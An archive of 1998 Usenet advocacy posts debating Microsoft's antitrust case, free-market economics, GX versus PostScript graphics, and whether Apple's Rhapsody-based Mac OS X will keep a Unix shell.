government intervention (incentives, legislation, whatever) or national
catastrophe (stop of flow of oil into the US) will we have a sufficiently
high reward for a free market to justify the risk of change.
Unfortunately, the antarctic ice sheets might just give way before that
happens and kill off 30% of the world population. But on the bright side,
at least we've preseved a free economy...
-Bob Cassidy
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Fri, 12 Jun 1998 22:01:18 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <3581A52E.9FD3DB3C@nstar.net>
References: <rmcassid-1205982352010001@dialin33423.slip.uci.edu>
<6jk64c$vo9$1@strato.ultra.net>
<rmcassid-1805981307530001@dante.eng.uci.edu>
<tvyg1i6unnj.fsf@cn1.connectnet.com> <6jtgie$vp6$6@ligarius.ultra.net>
<35d0ab0c.360543981@news.supernews.com>
<6k6tda$omk$1@ligarius.ultra.net>
<357a9125.86089126@news.supernews.com> <6l72if$mp9$1@news.smart.net>
<6lfsck$1vga@yuma.ACNS.ColoState.EDU> <357C032E.C373357D@nstar.net>
<3591af5a.5318472@news.supernews.com> <357DEB64.6B62@CONVEX.COM>
<35967e0e.17663365@news.supernews.com> <35800D69.C7F8B8E1@nstar.net>
<6lpvl2$26g6@yuma.ACNS.ColoState.EDU> <35809E8C.8E3F239A@nstar.net>
<6lqjii$1dmi@yuma.ACNS.ColoState.EDU> <35812C92.20DA6D16@nstar.net> <6ls4hn$ga6@yuma.ACNS.ColoState.EDU>
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NNTP-Posting-Date: 12 Jun 1998 22:06:20 GMT
Larry Pyeatt wrote:
> > forcible \For"ci*ble\, a. [Cf. OF. forcible forcible, forceable
> > that may be forced.]
> > 1. Possessing force; characterized by force, efficiency, or
> > energy; powerful; efficacious; impressive; influential.
>
> You don't think MS uses its influence to suppress opposition?
> What is force, anyway?
> force \'fo-(*)rs, 'fo.(*)rs\ \-l*s\ n
>
> n3: violence, compulsion, or constraint exerted upon or against
> a person or thing
>
> MS compells and constrains OEMs to sell ONLY MS operating systems.
No, it does not. Read the licensing agreements. OEMs are in *no way*
forced to sell MS operating systems. VA Research is only one example of
an OEM that does NOT sell MS operating systems.
> This force, applied to OEMs has the effect of suppressing opposition.
>
> vt 2: to compel by physical, moral, or intellectual means : COERCE
> 3: to make or cause through natural or logical necessity
> 4b: to impose or thrust urgently, importunately, or inexorably
>
> COERCE suggests overcoming resistance or unwillingness by actual or
> threatened violence or pressure;
Slippery! Why not stick to the definition, rather than resorting to what
it "suggests"?
> MS monopoly in the OS arena allows them to COERCE the OEMs into
> only supporting MS products, thereby suppressing the opposition.
Ah, yes, it coerces. It doesn't force.
> > Microsoft is not a "centralized autocratic government". The US
> > Government is, in fact, quite well served by that description:
>
> Only if you don't understand the word autocrat.
>
> > Autocratic \Au`to*crat"ic\, Autocratical \Au`to*crat"ic*al\, a.
> > Of or pertaining to autocracy or to an autocrat; absolute;
> > holding independent and arbitrary powers of government. --
> > {Au`to*crat"ic*al*ly}, adv.
>
> au.to.crat \'o.t-*-.krat\ n [F autocrate, fr. Gk autokrate-s ruling by
> oneself, absolute, fr]. aut- + -krate-s ruling - more at -CRAT : a monarch
> or other person ruling with unlimited authority
>
> The US government is a representative democracy with three branches:
> Legislative, executive, and judicial. It is not a monarchy, and there
> is no one person ruling with unlimited authority. Therefore, the US
> government is not an autocracy.
I never claimed that the US Government is an autocracy. I *did* claim
that the US Government was "well served" by the description "centralized
autocratic government".
> MS is ruled by Bill Gates, who has (almost) unlimited authority over
> the company. MS could be described as an autocracy if companies can
> be said to have government.
So what?
> > Government \Gov"ern*ment\, n. [F. gouvernement. See {Govern}.]
> > 1. The act of governing; the exercise of authority; the
> > administration of laws; control; direction; regulation;
> > as, civil, church, or family government.
>
> If a family can be have government, then why not a company?
Cute, Larry. You've quite simply blown all of your credibility. The
context was quite clearly the computer industry; attempting to turn your
misstatement with new context (that of Microsoft the Company,
inscrutably) is a weak ploy.
> > dictator \Dic*ta"tor\, n. [L.]
> > 1. One who dictates; one who prescribes rules and maxims
> > authoritatively for the direction of others. --Locke.
>
> She does that yes.
> So does Microsoft.
Demonstrate.
> She hardly has "unlimited power." If she steps out of line, she could
> be fired by the president.
You already granted the first definition. Closed.
> No one can fire MS.
Its customers can. Welcome to the free market.
> Yes. MS tell OEMs who they can socialize with. They are not allowed
> to socialize with vendors of competing operating systems.
Ha ha ha. Joke's on me. You're being clever, right?
> If they do,
> MS can discipline them by refusing to give them a license. No company
> is going to risk the 95% market share for MS products just to tap the
> extra 5% market in other operating systems.
So...you're saying the OEMs choose the greater good/greater value
themselves? How does Microsoft coercion figure into this, Larry?
> 1) The DOJ is not a single person.
Single person, at least. Don't be obtuse.
> 2) The DOJ does not do ANYTHING whimsically.
Quite so. I misspoke.
MJP
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacWeek Article on Future of Rhapsody
Date: 12 Jun 1998 21:46:50 GMT
Organization: Digital Fix Development
Message-ID: <6ls7ka$5k4$1@news.digifix.com>
References: <vik-0806981034470001@p20.hwts04.loop.net> <35814056.4A73EAFA@milestonerdl.com>
In-Reply-To: <35814056.4A73EAFA@milestonerdl.com>
On 06/12/98, m rassbach wrote:
>
>
>Vik Rubenfeld wrote:
>
>> What do you guys make of this article at:
>>
>> <http://www.zdnet.com/macweek/1222/nw_rhapsody.html>
>>
>> > Bereskin stressed, however, that the end of the strategy isn't
the
>> > extinction of Rhapsody. The OS will live on as a product but
won't
>> > evolve past the first customer releases for Intel-standard and
PowerPC
>> > platforms due this fall.
>> >
>> >After Version 1.0, "There are no plans for releases of Rhapsody,"
>> Bereskin said.
>>
>> I had been very interested in doing a Rhapsody application
>
>Look at it this way, with no new versions of the OS, Apple can never
break
>your program.
Typical moronic comment.
You'll be source code compatible with Mac OS X, which is for
all purposes a PPC only upgrade to Rhapsody 1.0
--
Scott Anguish <sanguish@digifix.com>
NEXTSTEP/OpenStep Information <URL:http://www.stepwise.com>
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Fri, 12 Jun 1998 22:11:11 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <3581A77F.3C0FC737@nstar.net>
References: <01bd791b$cc852e40$8383050a@bgravitt.CORP.VHA.COM> <3581509E.64C43F79@nstar.net> <35816417.474E@prodigy.net> <35817BBD.C2CD89BB@nstar.net> <6ls4m7$i1l@newsb.netnews.att.com>
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NNTP-Posting-Date: 12 Jun 1998 22:16:14 GMT
gupta@kcopsrm.tm.tta.moc-mirror, after, @ wrote:
>
> Michael J. Peck <mjpeck@nstar.net> wrote:
> >
> >Very well. Allow me to have the last word on't, then. My point was that
> >there is little precedent, outside of the current American system, of
> >charges brought against private defendents by the state. The exceptions
> >have been historical aberrations: Nazi Germany, Communist Russia, Divine
> >Right Europe, and (strangely enough) the United States. In fact, the
> >concept of a criminal justice system, complete with "gaols" and public
> >executions, is relatively recent.
> >
> >The Jewish justice system *did* allow for public capital punishment of
> >certain crimes, including blasphemy, patricide/matricide, and sexual
> >immorality. Most other crimes were based strictly on a system of
> >restitutionary justice.
>
> Excuse me, but I thought that the whole reason for the rights against
> unreasonable search and seizure and against self-incrimination came
> about because the state could bring charges against private defendants;
> and this had led to nasty experiences, in England against English
> subjects, and in America, on Americans by the British.
Right. This is mostly after the expiration of Common Law under the
Divine Right kingships in England. At the time, however, Common Law was
still very active in other parts of the British Empire.
Even after such episodes of conflict between Common Law judges and
Divine Right kings (such as Thomas Beckett of Cheapside's murder) the
concept of state-brought criminal charges was almost exclusively limited
to "crimes against the state", such as treason, smuggling, etc. These
crimes were the most oft-invoked during the Revolution itself; a huge
percentage of the colonial population made a living from smuggling into
the colonies goods that were usuriously taxed by the Crown.
> I'm pretty certain that ancient Hindus and Islam had the concept of
> offences against the state (under the Mauryan state (contemporaneous
> with Alexander the Great) there were punishments brought by the state
> on all kinds of things, e.g., falsification of weights and measures.)
Yes, under the great Indian Dynasties (the Chandra-Guptas were one of
them, curiously enough :-) there were strong statist tendencies that led
to state-brought criminal charges. However, you will be hard-pressed to
find the state bringing charges against citizens on behalf of other
citizens (as is the case in the United States).
> I suppose you will claim that the case of England fall under
> "Divine Right Europe", and by extension, everything else falls under
> such a "Divine Right" provision.
Not necessarily; the Divine Right provision was invented during the
clash between clergy-judges (who were the most common arbiters in
England) and the Crown. When the Crown held itself to be above the Law
(as in the case, for instance, of Henry VIII's many wives), it needed a
religious-sounding excuse to flash before the eyes of the people;
otherwise, the ability of the Crown to make frivolous war on other
nations would be jeopardized by mutiny.
> But, since the source of all law in the ancient world was religion,
> and a major source of modern law is old common law, which originally
> got its authority through religion, divine rights etc., perhaps you
> mean to say that "there is little precedent for any law", because you
> are lumping all precedent into one category.
I don't know exactly what you mean to say.
> Personally, I think you've read too many books of the kind that deny
> evolution, or assert that the earth is flat.
Of the former, I could recommend a few, but only for the open-minded
type. Of the latter, I haven't seen any, but I have seen some
interesting old stuff on the Inner Earth theory that you might like to
look at, for a laugh.
MJP
From: embuck@palmer.cca.rockwell.com (Erik M. Buck)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 12 Jun 1998 22:08:29 GMT
Organization: Rockwell International
Message-ID: <6ls8st$pg71@onews.collins.rockwell.com>
References: <6lrm98$i5u1@odie.mcleod.net> <B1A6C370-44BA7@206.165.43.8>
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Cc: english@primenet.com
In <B1A6C370-44BA7@206.165.43.8> "Lawson English" wrote:
>
> Yes it is. Never said differently. I was referring to non-standard
> encodings and how GX handles them. Unicode 2.0 handles them well so
> NSString should also.
>
WOW! Lawson was reasonable and admits he was wrong for the first time. Note
the date. One more GX can do this and AppKit can't thread put to rest. Why
pray tell did you start this one Lawson ?
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 12 Jun 1998 17:36:45 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6lrovd$git$1@ns3.vrx.net>
References: <6lrm98$i5u1@odie.mcleod.net> <B1A6C370-44BA7@206.165.43.8>
<6ls8st$pg71@onews.collins.rockwell.com>
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Cc: embuck@palmer.cca.rockwell.com
In <6ls8st$pg71@onews.collins.rockwell.com> Erik M. Buck claimed:
> WOW! Lawson was reasonable and admits he was wrong for the first time.
No, actually this is about the third time.
Maury
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Fri, 12 Jun 1998 15:12:29 -0700
Organization: UC Irvine, School of Engineering
Message-ID: <rmcassid-1206981512290001@dante.eng.uci.edu>
References: <tbrown-1206980253330001@mv128.axom.com> <B1A69F6D-3D38C@206.165.43.126> <rmcassid-1206981322550001@dante.eng.uci.edu> <3581A315.14997219@nstar.net>
In article <3581A315.14997219@nstar.net>, "Michael J. Peck"
<mjpeck@nstar.net> wrote:
>Robert Cassidy wrote:
>
>> Too late. It's dead. Let's move on.
>>
>> GX today is like finding an old childhood toy that you thought was lost.
>> You felt sad the whole time is was gone, as if you had missed out on
>> something, but upon finding it realize that it is a stupid, uninteresting
>> toy by today's standards and you immediate throw it in the trash. The
>> feeling of sadness fades quickly.
>
>What a fluid position.
Yep. It happens to Mac and PC people often enough, you have to learn to
roll with the punches. Focus on what is not yet dead. You can never go
home again.
>DPS is much older than GX, and it, too, is dead.
Yep.
>But the newest toy is QDe. Everyone's playing with that new toy. Be the
>first on your block...
I'll never play with QDe. That's what frameworks are for. Preserve my API,
do what you will with the gook underneath. Isn't that the unix way?
-Bob Cassidy
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Fri, 12 Jun 1998 23:12:36 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <3581B5E4.27A5303B@nstar.net>
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Robert Cassidy wrote:
> >That [it] does. The phrase "consumer protection" is blatantly misleading.
> >I could "protect consumers" without involving myself in unConstitutional
> >legislation.
>
> Which elements are unconstitutional? And don't overlook the amendment
> process and the rights of the states to have their own constitutional
> restrictions.
I don't. The states have much more right to be restrictive and meddling
than does the Federal government.
> >There may, indeed, be a need for drug prescriptions. This says nothing
> >about the right of the government to force their use.
>
> How then would the public be granted a reasonable assurance that citizens
> will not freely divorce themselves from the fabric of public
> responsibility? Prescriptions are also designed not only to protect the
> holder of the prescription, but also to protect the public from
> individuals that might use those medications to put themselves in a state
> where they are not responsible for their actions.
The criminal justice system that absolves such citizens of the
responsibility of their actions is at fault for creating this situation.
Under Common Law, drunkenness was no excuse for the slaughter of a
neighbor's livestock. Similarly, crack cocaine should be no excuse for
any kind of illegal behavior.
> We tolerate it to some
> degree (alcohol) but as the complexity of the drug increases, the need for
> experts to manage their use becomes necessary. And that management *is*
> necessary for there are medications that have psychosis or homicidal
> tendencies as side-effects. Not all drugs are Viagra after all...
Ah. How well has this system of prescription done at preventing the
overdosing and incorrect use of antibiotics, Bob? I hear that in Japan
they have discovered strains of bacteria that are resistent to all but
the most severe and obscure of penicillin derivatives.
Meanwhile, the price of antibiotics research is kept artificially
inflated by the prescription program that has utterly failed to "protect
the consumer".
> >Quite right. Will you be here in a hundred years to walk in protest
> >rallies during the Fight to Ban Natural Fat? Consumers don't realize
> >what they're getting into, by God! People are too stupid to switch to
> >Olestra, we've got to make certain fundamental things mandatory. We're
> >not being invasive, we just need to make a few basic rules.
>
> A little dose of hyperbole makes the medicine go down? The government has
> taken no actions to ban alcohol,
Take it back. I'm sure you've heard of Prohibition.
> or tobacco,
Also patently untrue. Multiple attempts at legislation banning the use
of tobacco products have been defeated in Congress. Smoking is banned on
domestic flights in the U.S., under the redoubtable aegis of the
all-expansive Commerce Clause.
> or anything else
The lumber industry managed to outsmart its rival, the hemp industry,
many years ago by forcing legislation banning the private use of
marijuana for any reason. The reasons given during the short discussion
of the legislation were nearly all proven false scant years later, but
they were eagerly accepted by weak Congressmen who needed a cause for
reelection.
> Restrict it
> so that the rights of *every* individual and taxpayer are balanced - sure.
> So it's better to let everyone have a handgun and then arrest the people
> that use it to commit a murder?
Something like that, yes. I believe it has something to do with
punishing crimes, not punishing *possible* crimes.
> Isn't that a little discriminatory to the
> rights of the person that just got shot?
Discriminatory, what? What are you talking about? What does this have to
do with the rights of the United States Citizen under the Second
Amendment?
> The enforcement of the law is
> only a reassurance to those that continue to live.
It is a deterrent to those that would commit crimes. This is
well-documented.
> And that leaves no
> barrier to that individual buying a handgun again. So it protects the
> rights of those that would be criminals over that of the public, in
> effect.
Bob, go straight to your copy of the Constitution and deliver me the
"rights of the public". Please, I'd love to see them.
[cut]
> >The government did make that decision. It wasn't until the mid 1930's,
> >though, that the most dramatic action was taken on behalf of socializing
> >what were previously matters of private consumption.
>
> I'll agree that a good deal of the legislation through the 30s should have
> been temporary, and is very much misplaced today. But some of it was
> specifically designed to have a stabilizing effect on the national economy
> and continues to perform that function today.
Which, exactly? I'm *real* interested to hear this.
The Tennessee Valley Authority, perhaps? No, I'm sure you mean the
Agricultural Adjustment Agency. Social Security? Come now, there must be
a wealth of well-wrought legislation in there.
> >That's quite true, and it's the entire basis of economy: someone who
> >provides the beneficial change may profit from it by selling its fruits.
>
> But the theory in this country is that competition can become so stifled
> due to either the practices of one company, or by collusion between
> multiple companies (price fixing)
Explain for me the difference between "price fixing" and tariffs. Or
between "price fixing" and regulation of the health care industry, or
the telecom industry, or the agriculture industry, for instance.
> that government intervention is
> desirable to return to a state where some measure of change is more
> likely.
All of the history of government intervention, in this country at the
very least, indicates that you're wrong. Don't misunderstand me; your
theory is quite well-known, and well-accepted, at least on one side of
the fence. There's nothing brand-new in what you propose. Keynes beat
you to it, in fact.
> That at some point, you can nearly 'win' or appear to win the
> game, and so the state must be adjusted to seem as though there is
> reasonable chance for reward to justify the risk of entering the market.
What's it called when your industry is made public and someone
automatically 'wins', as in the case of British Telecom? What do you
predict will happen when government returns the industry to the private
sector and leaves this 'winner' to its own devices? How does your
economic model handle such things?
> >Or SEC controls on the stock market? Or AFDC-style welfare? That people
> >have become dependent on government is not surprising. You'd ban crack
> >cocaine, but not a far more debilitating drug...
>
> I'm not saying that they do it well all the time. I'd love to see many of
> the _implementations_ that we have change - but the _concepts_ are
> generally sound. They are all stabilizing efforts. Welfare is designed to
> help keep people from getting is such a state that risk/reward reaches an
> extreme - that people find they need to go to extreme lengths just to feed
> their children.
Is that so? Then you're saying AFDC helps keep people employed, is that
it? Maybe you're saying AFDC helps to promote a middle class. Funny that
the statistics don't seem to follow that theory... What, exactly, are
'extreme lengths'? Monogamy, for instance? Parental responsibility?
These must be the extremism to which you refer, since their reduction
seems to be the only tangible accomplishment of AFDC.
> Unfortunately, the implementation we have sucks, since it
> upsets the risk/reward equation too much - there is a *lot* of risk for an
> individual involved in leaving the welfare system and little chance for
> any reward.
Maybe it has nothing to do with implementations. Maybe -- just bear with
me -- maybe something fundamental, maybe some *principle* is being
unstrung. Maybe no matter how smart you are, or how skilled at economic
manipulation, there is just no way that you can *improve* the
free-market system through independent determinism.
> >Actually, according the various theories of Economic Calculation, it can
> >be proven incontrovertibly that anti-trust regulation has a direct
> >depressive effect on the economy.
>
> Does that also account for instabilities due to monopolies and national
> securities in a global economy? We seem to balance anti-trust needs
> against the needs of the nation as a whole in terms of it's ability to be
> resiliant and it's need to protect its interests internationally.
Is that it? That must be why the FTC is acting against Intel, whose
price/performance curves are keeping the United States nearly decades
ahead of any foreign semiconductor agent. It must be why the DoJ is
acting against Microsoft, whose software products account for billions
of dollars in export sales and against whom no foreign software company
can remotely compare in quality and expertise.
Wait, maybe you're onto something. Isn't Microsoft one of the biggest
proponents of relaxed immigration controls for the purpose of hiring
intelligent and skilled foreign techs? Doesn't Microsoft make one of the
loudest arguments for bringing intellectual capital into the United
States? Maybe Protectionism and Nativism *are* the best reasons to
prosecute Microsoft. After all, we don't want to dilute our nation's
heritage with foreigners...yes, I'm sure of it! Prosecute away!
(sarcasm)
> But the anti-trust issue comes
> down to a 'needs of the many outweigh the needs of the one' kind of social
> contract at least to some degree.
Collectivism, then. I see. Or Communism? I don't know which to call it.
[cut]
> >Whoa, whoa, take it slow. "Well-presented arguments" is the first part I
> >take offense at: they're not my arguments, and whatever the
> >presentation, it has nothing to do with the point being communicated.
>
> Of course they are arguments. You are taking a position here that you know
> is contentious, no? Given the forum, you should expect positions like that
> to be taken as argumentative.
Of course they're arguments. They're just not *my* arguments. I'm not
making anything up. I'm *attempting* to make the classic case for
Austrian Economics, classic liberalism, and strict Constitutionality.
This is not new ground.
> Regardless of whether it is _your_ argument
> or not, you are taking a certain responsibility for it's defense by
> presenting it against the claims made by the previous poster.
That much is true.
> You can also
> excuse yourself from that defense if you choose - but let us know along
> the way.
I don't know what this means.
> >"Mud-slinging", wow: fascism isn't an insult, it's a political model
> >that I assigned to Mr. Pyeatt's thought. Don't get mixed up.
>
> Fascist is a very loaded term unless you are pre-WWII and didn't at all
> seem befitting of his position.
"Loaded" is none of my concern. "Fascism" is the *only* term I know of
to refer to the theory that governmental power is of primary importance,
and that all various governmental systems are to be employed as they are
beneficial to the goal of exalting the state. The fascist may at times
masquerade as a democrat, a dictator, a socialist (the Nazi part was the
National Socialist Workers' Party), or anything else that befits his
goal of power. The unprincipled use of power under cover of pragmatic
excuse is the first hint that such politics are present.
Fascists are generally famous for scoffing at the use of the word
"liberty". They'll laugh, squirm, yell, whatever! when you mention it,
because it seems a childish and dangerous notion to them. Benito
Mussolini himself claimed "We have buried the putrid corpse of liberty".
> >Finally, "insecurities": that's mudslinging. Now you're getting the idea.
>
> Fair play perhaps?
More like Pee-Wee Herman, I'd say.
MJP
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Fri, 12 Jun 1998 23:16:28 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <3581B6CC.AF72F7DE@nstar.net>
References: <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <tvyg1i6unnj.fsf@cn1.connectnet.com> <6jtgie$vp6$6@ligarius.ultra.net> <35d0ab0c.360543981@news.supernews.com> <6k6tda$omk$1@ligarius.ultra.net> <357a9125.86089126@news.supernews.com> <6l72if$mp9$1@news.smart.net> <6lfsck$1vga@yuma.ACNS.ColoState.EDU> <357C032E.C373357D@nstar.net> <3591af5a.5318472@news.supernews.com> <357DEB64.6B62@CONVEX.COM> <35967e0e.17663365@news.supernews.com> <35800D69.C7F8B8E1@nstar.net> <6lpvl2$26g6@yuma.ACNS.ColoState.EDU> <35809E8C.8E3F239A@nstar.net> <rmcassid-1206980004350001@dialin9229.slip.uci.edu> <6lquft$1dmi@yuma.ACNS.ColoState.EDU> <rmcassid-1206981500420001@dante.eng.uci.edu>
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Robert Cassidy wrote:
[cut]
> Unfortunately, the antarctic ice sheets might just give way before that
> happens and kill off 30% of the world population. But on the bright side,
> at least we've preseved a free economy...
Please, Bob, you were doing so well about the 'evidence' thing, now you
make this claim. Where is your evidence for this scenario?
MJP
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
From: cdouty@netcom.com (Chris Douty)
Subject: Re: Huh?
Message-ID: <cdoutyEuGqL7.EvE@netcom.com>
Organization: Netcom
References: <357FE4E3.BB690EE8@bcomp.com> <6lor77$guc$1@crib.corepower.com> <6lpgek$l79@nntp02.primenet.com>
Date: Fri, 12 Jun 1998 23:58:19 GMT
Sender: cdouty@netcom17.netcom.com
In article <6lpgek$l79@nntp02.primenet.com>,
John Jensen <jjens@primenet.com> wrote:
>[I mailed something like this to Nathan, but lost it before posting.]
>
>Nathan Urban <nurban@vt.edu> wrote:
>: In <357FE4E3.BB690EE8@bcomp.com>, Alan Frabutt <afrabutt@bcomp.com> wrote:
>
>: > And they've "Osborned" the new environment... no Server OS (MacOSX, as
>: > described so far, is _no_ server OS).
>
>: In what respect is Rhapsody a server OS but MacOS X is not? (Other
>: than, perhaps, the lack of NSHosting.)
>
>Has Apple said MacOS X will have an inetd?
>
>I think the various statements that "MacOS X will be based on Rhapsody
>technology" have left a lot to be interpreted by the listener. Some in
>this group have gone so far to say "MacOS IS Rhapsody." I think that is a
>little bit premature, or a sliding scale is at work.
>
>As I have said before, if all you want is a microkernal and a yellow box,
>then Windows NT qualifies as "Rhapsody".
>
>I would propose the presence of inetd as a more accurate test of what is a
>UNIX server.
From unofficial comments on the OS X plans heard at the last BANG meeting,
it seemed likely that OS X would not have a shell. Period. "The BSD APIs
will be there for anyone to compile against." It also seemd likely that
various "MacOS Managers" would take over from the BSD/OpenStep programs
currently providing equivalent service in Mach today. I dunno exactly
what a "MacOS Manager" is but it ain't Unix.
Forget Terminal.app for a moment. How the hell do you start a unix-based
service without a shell? In fact, how do you boot the computer? AFAIK
/bin/sh is used to process the startup scripts on every unix varient in
production today. How does MacOS [678].* decide what to run and in what
order? I recall being confused as hell trying to figure out which
extension do what, what order they are processed, and other basic things
about a MacOS System.
I appologise for potentially causing heart palpitations in the
unix-friendly who were hoping for something other than what Apple seems
to be providing. I'm hoping that they Do the Right Thing(tm) and provide
full unix services on every MacOS X CD. I'm less concerned about whether
its installed by default than having it available to *EVERYONE*. I'm
also hoping that MacOS X for PC Compatibles will appear. Mass converions
of offices are easier if they can reuse old hardware.
Sidenote: I'm sure that Win(95|NT) is even more confusing. Fortunately
my forays into Windows services have been fairly limited.
-Chris
--
Christopher Douty - Rogue Engineer trapped in a land of software
cdouty@netcom.com
"Frequently the messages have meaning; that is they refer to or are correlated
according to some system with physical or conceptual entities. These semantic
aspects of communication are irrelevant to the engineering problem." -Shannon
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 12 Jun 1998 17:02:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1A70F54-7381@206.165.43.150>
References: <9806122206.AA03320@palmer.cca.rockwell.com>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
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Erik M. Buck <embuck@palmer.cca.rockwell.com> said:
>WOW! Lawson was reasonable and admits he was wrong for the first time.
>Note
>the date. One more GX can do this and AppKit can't thread put to rest.
Why
>pray tell did you start this one Lawson ?
Because I had concerns about it. They were apparently unfounded.
Big whoop. Most of my friends laugh at the NeXTers for being so hostile in
replying to me because regardless of how many errors *I* make, replying
with hostility always make the person making the hostile response look bad,
regardless of who is technically correct.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 13 Jun 1998 00:31:22 GMT
Organization: I don't think so
Message-ID: <slrn6o3igi.7cr.jason@jhste1.dyn.ml.org>
References: <B1A31F69-125386@206.165.43.79> <B1A32350-133E43@206.165.43.79> <slrn6nrmih.526.jason@jhste1.dyn.ml.org> <6llf9k$m9t$3@ironhorse.plsys.co.uk> <slrn6nt9ob.8da.jason@jhste1.dyn.ml.org> <uwwapf7fh.fsf@ai.mit.edu> <slrn6ntq6h.148.jason@jhste1.dyn.ml.org> <uwwao3qp8.fsf@ai.mit.edu> <slrn6o0vlf.2t2.jason@jhste1.dyn.ml.org> <u7m2mllhw.fsf@ai.mit.edu>
Stephen Peters posted the following to comp.sys.mac.advocacy:
>> >But you admitted yourself that you skipped over most of the Lawson
>> >threads until recently. I'd say that you're new to the Lawson-c.s.n.a
>> >dynamic, and I'm sorry if I didn't clarify that.
>> Why do you think that I have skipping over most of it for the last
>> 18 months?
>June 10, 1998, <slrn6nt9uj.8da.jason@jhste1.dyn.ml.org>:
>| I've experienced pretty much every crosspost from csna to csma since
>| the NeXT buyout. I have had a tendency to skip over the Lawson
>| threads, though.
>My, what a fool I was to translate that into your skipping over most
>of the Lawson threads for the last 18 months.
Um, maybe I've been skipping over these threads for a year and a half
because I found them to be really boring a long time ago? Like maybe
18 months ago?
--
Whenever you find that you are on the side of the majority, it is time
to reform.
-- Mark Twain
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: 12 Jun 1998 20:56:39 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6ls4m7$i1l@newsb.netnews.att.com>
References: <01bd791b$cc852e40$8383050a@bgravitt.CORP.VHA.COM> <3581509E.64C43F79@nstar.net> <35816417.474E@prodigy.net> <35817BBD.C2CD89BB@nstar.net>
Originator: gupta@tlctest
Michael J. Peck <mjpeck@nstar.net> wrote:
>
>Very well. Allow me to have the last word on't, then. My point was that
>there is little precedent, outside of the current American system, of
>charges brought against private defendents by the state. The exceptions
>have been historical aberrations: Nazi Germany, Communist Russia, Divine
>Right Europe, and (strangely enough) the United States. In fact, the
>concept of a criminal justice system, complete with "gaols" and public
>executions, is relatively recent.
>
>The Jewish justice system *did* allow for public capital punishment of
>certain crimes, including blasphemy, patricide/matricide, and sexual
>immorality. Most other crimes were based strictly on a system of
>restitutionary justice.
Excuse me, but I thought that the whole reason for the rights against
unreasonable search and seizure and against self-incrimination came
about because the state could bring charges against private defendants;
and this had led to nasty experiences, in England against English
subjects, and in America, on Americans by the British.
I'm pretty certain that ancient Hindus and Islam had the concept of
offences against the state (under the Mauryan state (contemporaneous
with Alexander the Great) there were punishments brought by the state
on all kinds of things, e.g., falsification of weights and measures.)
I suppose you will claim that the case of England fall under
"Divine Right Europe", and by extension, everything else falls under
such a "Divine Right" provision.
But, since the source of all law in the ancient world was religion,
and a major source of modern law is old common law, which originally
got its authority through religion, divine rights etc., perhaps you
mean to say that "there is little precedent for any law", because you
are lumping all precedent into one category.
Personally, I think you've read too many books of the kind that deny
evolution, or assert that the earth is flat.
-arun gupta
From: dnpibel <dnpibel@prodigy.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
